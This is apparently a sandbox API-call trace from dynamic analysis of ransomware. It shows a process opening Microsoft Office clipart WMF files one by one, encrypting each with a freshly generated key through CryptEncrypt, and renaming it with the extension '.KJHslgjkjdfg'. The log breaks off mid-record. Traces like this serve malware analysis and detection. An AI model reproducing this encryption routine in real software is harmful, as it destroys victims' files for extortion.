1 [0197.055] GetProcessHeap () returned 0x2ef0000 [0197.055] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.055] GetProcessHeap () returned 0x2ef0000 [0197.055] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.055] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf.kjhslgjkjdfg")) returned 1 [0197.056] CloseHandle (hObject=0x130) returned 1 [0197.057] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x829a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0086432.WMF", cAlternateFileName="")) returned 1 [0197.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.057] GetProcessHeap () returned 0x2ef0000 [0197.057] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.058] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.058] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.058] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0197.060] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.060] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.060] GetProcessHeap () returned 0x2ef0000 [0197.060] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.060] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.061] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.061] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.061] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.061] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.061] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.061] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.061] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.061] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.061] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.061] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.061] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x829a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x829a, lpOverlapped=0x0) returned 1 [0197.062] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x82a0, dwBufLen=0x82a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x82a0) returned 1 [0197.063] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.063] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x82a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x82a0, lpOverlapped=0x0) returned 1 [0197.063] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.063] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.063] SetEndOfFile (hFile=0x130) returned 1 [0197.066] GetProcessHeap () returned 0x2ef0000 [0197.066] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.066] GetProcessHeap () returned 0x2ef0000 [0197.066] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.067] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf.kjhslgjkjdfg")) returned 1 [0197.070] CloseHandle (hObject=0x130) returned 1 [0197.070] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x375e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0086478.WMF", cAlternateFileName="")) returned 1 [0197.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.070] GetProcessHeap () returned 0x2ef0000 [0197.070] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.070] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.071] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.071] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0197.072] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.072] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.072] GetProcessHeap () returned 0x2ef0000 [0197.072] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.072] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.073] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.073] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.073] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.073] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.073] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.073] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.073] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.073] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.073] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.073] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.073] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x375e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x375e, lpOverlapped=0x0) returned 1 [0197.074] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3760, dwBufLen=0x3760 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3760) returned 1 [0197.075] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.075] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3760, lpOverlapped=0x0) returned 1 [0197.075] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.075] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.075] SetEndOfFile (hFile=0x130) returned 1 [0197.075] GetProcessHeap () returned 0x2ef0000 [0197.075] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.075] GetProcessHeap () returned 0x2ef0000 [0197.075] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.076] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf.kjhslgjkjdfg")) returned 1 [0197.077] CloseHandle (hObject=0x130) returned 1 [0197.077] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4dba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0089945.WMF", cAlternateFileName="")) returned 1 [0197.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.077] GetProcessHeap () returned 0x2ef0000 [0197.077] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.078] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.078] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.078] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0197.080] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.080] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.080] GetProcessHeap () returned 0x2ef0000 [0197.080] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.080] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.080] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.081] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.081] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.081] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.081] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.081] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.081] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.081] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.081] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.081] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.081] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4dba, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4dba, lpOverlapped=0x0) returned 1 [0197.082] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4dc0, dwBufLen=0x4dc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4dc0) returned 1 [0197.083] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.083] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4dc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4dc0, lpOverlapped=0x0) returned 1 [0197.083] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.083] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.083] SetEndOfFile (hFile=0x130) returned 1 [0197.086] GetProcessHeap () returned 0x2ef0000 [0197.086] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.086] GetProcessHeap () returned 0x2ef0000 [0197.086] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.086] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf.kjhslgjkjdfg")) returned 1 [0197.088] CloseHandle (hObject=0x130) returned 1 [0197.088] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0089992.WMF", cAlternateFileName="")) returned 1 [0197.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.090] GetProcessHeap () returned 0x2ef0000 [0197.090] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.090] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.090] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.090] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.090] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.090] GetProcessHeap () returned 0x2ef0000 [0197.090] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.090] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.090] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.090] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.093] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.093] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.093] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.093] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.093] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.093] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.093] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.093] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.094] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3d40, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3d40, lpOverlapped=0x0) returned 1 [0197.095] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3d40, dwBufLen=0x3d40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3d40) returned 1 [0197.095] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.095] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3d40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3d40, lpOverlapped=0x0) returned 1 [0197.095] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.095] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3e14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.095] SetEndOfFile (hFile=0x130) returned 1 [0197.096] GetProcessHeap () returned 0x2ef0000 [0197.096] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.096] GetProcessHeap () returned 0x2ef0000 [0197.096] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.097] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf.kjhslgjkjdfg")) returned 1 [0197.098] CloseHandle (hObject=0x130) returned 1 [0197.098] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5314, dwReserved0=0x0, dwReserved1=0x2e0000, 